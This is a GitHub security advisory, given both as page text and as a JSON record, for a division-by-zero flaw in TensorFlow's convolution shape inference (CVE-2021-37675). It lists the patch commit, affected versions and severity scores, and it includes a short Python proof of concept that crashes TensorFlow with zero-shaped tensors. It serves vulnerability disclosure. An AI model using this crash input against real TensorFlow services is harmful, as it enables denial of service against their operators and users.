GHSA-9C8H-2MV3-49WW
Vulnerability from github – Published: 2021-08-25 14:41 – Updated: 2024-11-13 21:13Impact
Most implementations of convolution operators in TensorFlow are affected by a division by 0 vulnerability where an attacker can trigger a denial of service via a crash:
import tensorflow as tf
tf.compat.v1.disable_v2_behavior()
tf.raw_ops.Conv2D(
input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),
filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),
strides = [1, 1, 1, 1],
padding = "SAME")
The shape inference implementation is missing several validations before doing divisions and modulo operations.
Patches
We have patched the issue in GitHub commit 8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
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{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
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"ranges": [
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{
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],
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],
"versions": [
"2.5.0"
]
}
],
"aliases": [
"CVE-2021-37675"
],
"database_specific": {
"cwe_ids": [
"CWE-369"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-24T15:41:50Z",
"nvd_published_at": "2021-08-12T22:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nMost implementations of convolution operators in TensorFlow are affected by a division by 0 vulnerability where an attacker can trigger a denial of service via a crash:\n\n```python\nimport tensorflow as tf\n\ntf.compat.v1.disable_v2_behavior()\ntf.raw_ops.Conv2D(\n input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),\n filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),\n strides = [1, 1, 1, 1],\n padding = \"SAME\")\n```\n\nThe shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/framework/common_shape_fns.cc#L577) is missing several validations before doing divisions and modulo operations.\n\n### Patches\nWe have patched the issue in GitHub commit [8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4](https://github.com/tensorflow/tensorflow/commit/8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.",
"id": "GHSA-9c8h-2mv3-49ww",
"modified": "2024-11-13T21:13:06Z",
"published": "2021-08-25T14:41:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9c8h-2mv3-49ww"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37675"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-588.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-786.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-297.yaml"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Division by 0 in most convolution operators"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.